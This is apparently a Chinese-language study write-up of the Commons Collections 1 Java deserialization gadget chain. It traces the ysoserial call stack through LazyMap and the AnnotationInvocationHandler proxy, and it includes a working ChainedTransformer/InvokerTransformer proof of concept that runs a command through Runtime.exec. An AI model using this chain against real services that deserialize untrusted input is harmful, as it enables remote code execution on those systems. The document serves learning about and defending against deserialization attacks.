Analysis of commons-collections 1 (CC1)

 

环境

jdk-7u21 ysoserial IDEA

参考

Java安全之反序列化篇-URLDNS&Commons Collections 1-7反序列化链分析 (seebug.org)

Java反序列化-CommonCollections1利用链分析 – 天下大木头 (wjlshare.com)

利用链

yso 调试出来的利用链

transform:124, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:151, LazyMap (org.apache.commons.collections.map)
invoke:69, AnnotationInvocationHandler (sun.reflect.annotation)
entrySet:-1, $Proxy0 (com.sun.proxy)
readObject:346, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
invokeReadObject:1004, ObjectStreamClass (java.io)
readSerialData:1891, ObjectInputStream (java.io)
readOrdinaryObject:1796, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
deserialize:27, Deserializer (ysoserial)
deserialize:22, Deserializer (ysoserial)
run:38, PayloadRunner (ysoserial.payloads.util)
main:81, CommonsCollections1 (ysoserial.payloads)

不看POC看利用链

yso入口deserialize:27, Deserializer (ysoserial)

这里开始反序列化

1


常规进入几个readobject

readObject0:1348, ObjectInputStream (java.io) readObject:370, ObjectInputStream (java.io)

2


readObject0:1348, ObjectInputStream (java.io)

进入 readOrdinaryObject 方法 到

readOrdinaryObject:1796, ObjectInputStream (java.io)

3

从这里可以看到obj进来了,是一个AnnotationInvocationHandler@737对象


再到

readSerialData:1891, ObjectInputStream(java.io)

invokeReadObject:1004, ObjectStreamClass (java.io)

在此处(invokeReadObject:1004, ObjectStreamClass)进入invoke方法

4

详细参数如下

5


上面可以看到是Method的invoke,所以下一步走到

invoke:601, Method (java.lang.reflect)

在601进入6下一个invokeobj依旧是 AnnotationInvocationHandler@737

详细参数如下

7


invoke:43, DelegatingMethodAccessorImpl (sun.reflect)

。。。(中间省略)

到了

readObject:346, AnnotationInvocationHandler (sun.reflect.annotation)

这里开始离开jdk,来到CC的内容

8

终于来到AnnotationInvocationHandler,可以看到这里的this就是AnnotationInvocationHandler@737对象

9

然后到同文件的

invoke:69, AnnotationInvocationHandler (sun.reflect.annotation)

来看一下10进入下一个位置相关的参数

11


疑惑:这里的this.memberValues为什么是LazyMap,不是很懂(看到后面代理的部分就懂了)

12

然后带参数var4 = entrySet进入LazyMapget方法


接着到

get:151, LazyMap (org.apache.commons.collections.map)

13

可以看到已经到了熟悉的地方了


最后再到

transform:124, InvokerTransformer (org.apache.commons.collections.functors)

14

此处小总结一下:

中间有些没有反编译出来,导致有些参数不知道是怎么进去的。

CC部分:CC中的三个Transformer的实现类

15

每一个都专门看一下他们的transform方法

1# InvokerTransformer(作用:反射)

首先要了解反射

反射

反射其实就这个,需要三个东西,Method,obj和arg

16

看看代码,其中transform方法如下

17

关键代码只有三行

18

用这个三个参数的构造方法实例化,就可以控制到这三个参数了

19

就是基本的反射,我们修改一下参数就可以反射命令执行了

20

这也就意味着,进入了这个地方就可以做反射,那么这里的危害不一定是命令执行,但是危害在可以利用反射获得任意对象的方法。这里也为这个CC1漏洞利用链打下一个基础。

简单总结一下就是,通过传入三个参数,就可以做到反射。

21

2# ConstantTransformer

看一下具体代码

22

传入了什么input,都会返回一个iConstant

3# ChainedTransformer

看代码

23

24

iTransformers是一个Transformer数组

这个transform方法就是遍历数组里面的Transformer,并且调用他们的transform方法

3个都是返回对象。

利用三个实现类进行RCE

前面说到1# InvokerTransformer的时候,反射明明可以做出RCE了,那么为什么不直接使用这个点呢。

因为我们还要看上面的这三个参数是否可以被我们控制,但是现在可以结合利用上面三个实现类,进行RCE

POC:

package ysoserial.payloads; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.python.antlr.ast.Str; import java.io.IOException; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class Test {    public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {         ChainedTransformer chain = new ChainedTransformer(new Transformer[] {            new ConstantTransformer(Runtime.class),            new InvokerTransformer("getMethod", new Class[] {                String.class, Class[].class }, new Object[] {                "getRuntime", new Class[0] }),            new InvokerTransformer("invoke", new Class[] {                Object.class, Object[].class }, new Object[] {                null, new Object[0] }),            new InvokerTransformer("exec",                new Class[] { String.class }, new Object[]{"calc"})});        chain.transform(123);    } } 

25

分析一下是怎么做到的

最外面的是一个 ChainedTransformer ,参数是一个 Transformer数组,分别有四个 Transformer

1

上面说到这样可以做到命令执行

27

上面这个,在调用transform方法的时候,需要传递一个Runtime.getRuntime(),这几乎是不可能的,代码作者不会在反序列化后调用transform方法还传递一个Runtime的实例进去的,所以我们不可能这样直接RCE

2

但是我们可以结合ChainedTransformer 来进行RCE,如下

28

看看发生了什么

后面的chain.transform(123)调用了transform方法,

29

obj是123,第一个循环也就是 ConstantTransformer(Runtime.getRuntime())调用transform方法,可得返回的是Runtime.getRuntime()对象,而且Runtime.getRuntime()对象作为下一次循环的obj参数;

obj是Runtime.getRuntime(),第二个循环是 InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})调用了transform方法就是说回到了反射的这个地方,最终命令执行

3

此时只要ChainedTransformer反序列化后调用transform方法并传递任意内容即可实现RCE,但是当尝试去序列化的时候,会发生了一个问题

因为这里的Runtime.getRuntime()返回的是一个Runtime的实例,而Runtime并没有继承Serializable,所以这里会序列化失败

就需要用到最终的POC了,这里详情可以看下图代码注释(问题:为什么Method 类型的Runtime.getRuntime()调用invoke()就会返回一个Runtime类型的对象呢

30

相当于分析了这个CC1的sink了,那么下面来看看怎么做

上面的代码里面我们都是自己调用transform方法的,现在我们需要那些调用了transform方法而且是合适的,也就是LazyMap

31

再向上找,看哪里可以调用一个get方法(这个也太多了,这实际情况中该怎么去找呢???

32

找到的是 invoke:69, AnnotationInvocationHandler (sun.reflect.annotation)

下面就是代理的问题了,这里很妙,CC1的两个部分都很妙

代理部分

上面说到的AnnotationInvocationHandler类,继承了InvocationHandler, Serializable

这个对象既可以反序列化,又可以做动态代理对象

代理是什么

代理:动态代理对象每执行一个方法的时候,都会被转发到实现InvocationHandler接口类invoke方法

最终的POC里,分为两个代理部分

33

等等,这里为什么需要两个代理类,一个不就好了吗,直接代理类传入LazyMap,然后因为是代理类,调用invoke里面的get,美滋滋?

当然不是,请看分析

1# 两个代理

翻看POC是怎么造成RCE的(从下到上分析) AnnotationInvocationHandler对象1 AnnotationInvocationHandler readobj  (this.memberValues是proxy_map,proxy_map也是一个AnnotationInvocationHandler对象2,代理了lazymap) AnnotationInvocationHandler对象 this.memberValues.entrySet().iterator(); 即proxy_map.entrySet().iterator(); 即proxy_map.invoke() 即AnnotationInvocationHandler对象1.invoke_1() 相当于执行 AnnotationInvocationHandler对象2.invoke()  (this.memberValues是lazymap) 然后去到get 即lazymap.get 然后就到下面

以上流程都可以经过IDEA debug验证,如下图

34

--

35

2# 一个代理

假如只设置一个AnnotationInvocationHandler对象,而且传入LazyMap 先readobj(this.memberValues是LazyMap) 那么就会经过288行 this.memberValues.entrySet().iterator(); 也就是LazyMap.entrySet().iterator()

那么答案就出来了,最终我们只需要做到序列化我们的构造的AnnotationInvocationHandler对象,让漏洞应用序列化我们的恶意对象,即可以RCE。

小总结

这个链的学习,看到了很棒的思路,但是其中有一些细节在实际挖掘中不知道是怎么操作的,比如那个get那么多怎么知道呢,所以感觉还是需要多熟悉多很多链子才可以得心应手。

如何去挖掘这个利用链?

思路,方法,还有其他?

分析参数是否可控,分析sink,分析是否继承是否可以反序列化, 从已知的sourcesink入手,利用tabby之类的工具快速分析缩小范围。

不足

  • 中间看住看不懂的点应该单独拿出来调试,调试几遍就好了。而且要像参考文章那样写多几个小Demo才可以顺利一点。

  • 还有就是看清楚不懂的概念。

  • 多点耐心。

评论